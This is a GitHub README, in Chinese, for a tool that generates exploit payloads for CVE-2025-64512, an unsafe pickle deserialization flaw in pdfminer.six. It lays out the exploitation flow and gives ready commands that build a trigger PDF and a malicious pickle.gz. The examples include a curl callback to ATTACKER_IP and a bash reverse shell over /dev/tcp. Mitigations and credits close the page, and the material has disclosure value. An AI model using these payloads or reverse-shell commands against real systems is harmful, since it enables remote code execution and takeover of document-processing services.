BardLaudian/CVE-2025-64512
GitHub: BardLaudian/CVE-2025-64512
针对 pdfminer.six 不安全 Pickle 反序列化漏洞(CVE-2025-64512)的官方 PoC 命令行封装工具,用于生成可触发远程代码执行的载荷。
Stars: 0 | Forks: 0
# CVE-2025-64512 — pdfminer.six 通过恶意 PDF 导致的不安全反序列化 (Pickle)



## 目录
- [概述](#overview)
- [漏洞详情](#vulnerability-details)
- [工作原理](#how-it-works)
- [环境要求](#requirements)
- [安装说明](#installation)
- [使用方法](#usage)
- [示例](#examples)
- [缓解措施](#mitigations)
- [致谢](#credits)
- [参考](#references)
## 概述
**pdfminer.six** 是一个广泛使用的 Python 库,用于从 PDF 文件中提取文本和元数据,通常嵌入在文档处理 pipeline、CLI 工具以及 AI/数据导入工作流中。受影响的版本使用 Python 的 `pickle` 模块加载用于支持 CJK 字体的 CMap(字符映射)缓存文件,但没有验证解析后的路径是否保留在预期的缓存目录中。
一个特殊构造的 PDF 可以为此 CMap 查找引用攻击者控制的路径。如果攻击者还能在该解析路径上放置一个恶意的 `.pickle.gz` 文件(例如,通过同一位置的文件上传功能),处理该 PDF 就会对攻击者控制的数据触发 `pickle.loads()`,从而导致**任意代码执行**。这种确切的机制——包括 PoC PDF 结构——已由 mtolley 在官方安全公告中记录。
此仓库包含一个围绕 CVE-2025-64512 的 GitHub 安全公告中发布的官方概念验证 (PoC) 的轻量级 CLI 封装。**它没有引入任何新的利用技术**——恶意 PDF 模板几乎是直接从公告中引用的;此脚本仅对目标路径、要执行的命令和输出文件名进行了参数化,以便更容易重用该 PoC。
## 漏洞详情
| 字段 | 值 |
|-------------|---------------------------------------------------|
| CVE | CVE-2025-64512 |
| 受影响版本 | pdfminer.six ≤ 20250506 (以及 markitdown ≤ 0.1.3, pdfplumber ≤ 0.11.7) |
| 类型 | 不安全反序列化 (CWE-502) |
| 权限 | 无需权限(如果 PDF 处理接口暴露,则无需身份验证) |
| 影响 | 任意代码执行 |
| 补丁 | pdfminer.six 20251107+ |
## 工作原理
pdfminer.six 中的 `CMapDB._load_data()` 会将取自 PDF 字体 `/Encoding` 条目的 CMap 名称解析为文件路径,并且如果它以 `.pickle.gz` 结尾,就会使用 `pickle.loads()` 加载它。该函数没有验证解析后的路径是否保留在 pdfminer 自己的 `cmap/` 目录中。
### 攻击条件
1. 一个**触发 PDF**,其字体 `/Encoding` 引用了一个攻击者指定的路径(经过 URL 编码,`/` 替换为 `#2F`)。
2. 在处理 PDF 时,目标文件系统的 `<该路径>.pickle.gz` 处必须存在一个**恶意的 `.pickle.gz`**文件。
这两个文件通常可以通过最终由 pdfminer.six 处理的同一个上传通道(例如文档导入 pipeline)进行投放,只要生成的磁盘路径是可预测或可发现的即可。
### 利用流程
```
1. Generate a malicious pickle payload (executes a command on unpickling)
2. Compress it as .pickle.gz
3. Generate a "trigger" PDF whose font /Encoding points to the full
target-filesystem path of that .pickle.gz (without the extension)
4. Deliver both files to the target so they land at the expected paths
5. Wait for / trigger pdfminer.six (or any tool built on it, e.g. pdf2txt.py)
to process the trigger PDF
6. pickle.loads() executes the payload -> RCE
```
## 环境要求
- Python 3.8+(仅使用标准库 —— `gzip`、`pickle`、`argparse`)
**生成** payload 无需第三方依赖。**目标**必须具有存在漏洞的 pdfminer.six(或依赖它的项目)并且实际在处理上传的 PDF。
## 安装说明
```
git clone https://github.com/BardLaudian/CVE-2025-64512.git
cd CVE-2025-64512
```
## 使用方法
```
usage: gen_payload.py [-h] [--pdf-out PDF_OUT] [--gz-out GZ_OUT] --path PATH [--command COMMAND]
options:
--pdf-out PDF_OUT Output filename for the trigger PDF (default: trigger.pdf)
--gz-out GZ_OUT Output filename for the pickle.gz payload (default: payload.pickle.gz)
--path PATH, -p PATH Full path (without .pickle.gz) on the TARGET filesystem where the
pickle.gz will end up, e.g. /var/www/app/uploads/xxxx
--command COMMAND, -c COMMAND
Command to execute on the target (default: id)
```
## 示例
### 基本用法
```
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "id > /tmp/pwned" \
--pdf-out trigger.pdf \
--gz-out payload.pickle.gz
```
这将生成:
- `payload.pickle.gz` — 首先上传此文件,到 `.../uploads/payload.pickle.gz`
- `trigger.pdf` — 其次上传此文件;一旦目标使用 pdfminer.six 处理它,命令就会运行
### 网络回调(用于在没有文件系统访问权限的情况下确认 RCE)
```
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "curl http://ATTACKER_IP:8000/rce-confirmed" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
```
### 反向 shell
```
python3 gen_payload.py \
--path "/var/www/app/uploads/payload" \
--command "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
--pdf-out trigger.pdf --gz-out payload.pickle.gz
```
## 缓解措施
- **更新** pdfminer.six 至 20251107 或更高版本(或任何捆绑它的项目的已修补版本,例如 markitdown ≥ 0.1.4, pdfplumber ≥ 0.11.8)。
- **限制/验证**最终由 pdfminer.six 或基于它构建的工具处理的任何用户上传内容。
- 对 PDF 处理 pipeline 进行**沙盒隔离**(容器、seccomp、禁止出站网络),以使反序列化 RCE 的影响范围降至最低。
- **监控**文档处理服务生成的意外子进程。
## 致谢
- **漏洞发现与报告者:** [mtolley](https://github.com/mtolley)
- **公告发布者:** pdfminer.six 维护者 ([pietermarsman](https://github.com/pietermarsman))
- **原始 PoC(恶意 PDF 模板):** 来自 [官方 GitHub 安全公告](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp)
- **CLI 封装 / 参数化:** Bardlaudian —— 官方 PoC 的一个轻量级便捷封装,没有使用新技术
## 参考
- [官方 GitHub 安全公告 — GHSA-wf5f-4jwr-ppcp(此处使用的 PoC 来源)](https://github.com/pdfminer/pdfminer.six/security/advisories/GHSA-wf5f-4jwr-ppcp)
- [pdfminer.six 仓库](https://github.com/pdfminer/pdfminer.six)
- [luigigubello 的多语言变体(单文件 PDF+pickle.gz 技巧,本仓库未使用)](https://github.com/luigigubello/CVE-2025-64512-Polyglot-PoC)
标签:Go语言工具, Maven, Python, 反序列化, 无后门, 漏洞验证, 逆向工具